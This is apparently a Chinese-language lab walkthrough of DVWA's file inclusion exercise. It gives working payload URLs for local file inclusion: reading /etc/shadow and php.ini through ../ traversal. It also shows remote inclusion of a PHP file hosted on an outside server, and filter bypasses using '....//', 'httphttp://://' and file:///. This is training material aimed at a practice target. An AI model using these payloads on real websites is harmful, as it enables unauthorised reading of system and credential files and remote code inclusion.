DVWA之文件包含(File inclusion)
daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数
include,require和include_once,require_once,,,,利用URL去动态包含文件,此时,如果没有文件的内容和来源进行过滤和判断,
就会导致任意文件读取或者任意命令执行。
文件包含漏洞可以分为本地文件包含和远程文件包含。
远程文件包含漏洞需要开启服务器的allow_url_fopen选项。
LOW
1.本地文件包含
构造URL
www.dvwa.com/vulnerabilities/fi/?page=/etc/shadow
显示存在的文件,说明目标不是Linux操作系统。
但是暴露了网站的绝对路径D:\web\dvwa\vulnerabilities\fi\index.php的信息。
构造一个读取绝对路径的URL
www.dvwa.com/vulnerabilities/fi/?page=D:/web/deva/php.ini
www.dvwa.com/vulnerabilities/fi/?page=../../../../../../../../../../../web/dvwa/php.ini
2.利用该漏洞包含一个远程的PHP文件
我在www.a.com的上传一个a.php
<?php phpinfo(); ?>
我在目标网站包含这个远程的PHP文件
www.dvwa.com/vulnerabilities/fi/?page=www.a.com/a.php
目标网站成功执行了我们包含的PHP文件
可以包含文本文件
可以对链接进行伪装,转成RUL
Medium
在这个级别中,服务端使用str_replace对收到的参数进行了过滤操作。过滤了http,https,“../”,‘..\’等字符
1.本地文件包含可以绕过
http://www.dvwa.com/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//....//web/dvwa/php.ini
通过这种方式绕过过滤。
2.远程文件包含
http://www.dvwa.com/vulnerabilities/fi/?page=httphttp://://www.a.com/a.txt
High
在此级别中,服务对参数进行了筛选,要求参数必须是file开头的文件才会包含
利用Windows的file协议进行包含
http://www.dvwa.com/vulnerabilities/fi/?page=file:///../../../../../../../../../../../web/dvwa/php.ini
impossible
impossible级别对参数彻底进行了限制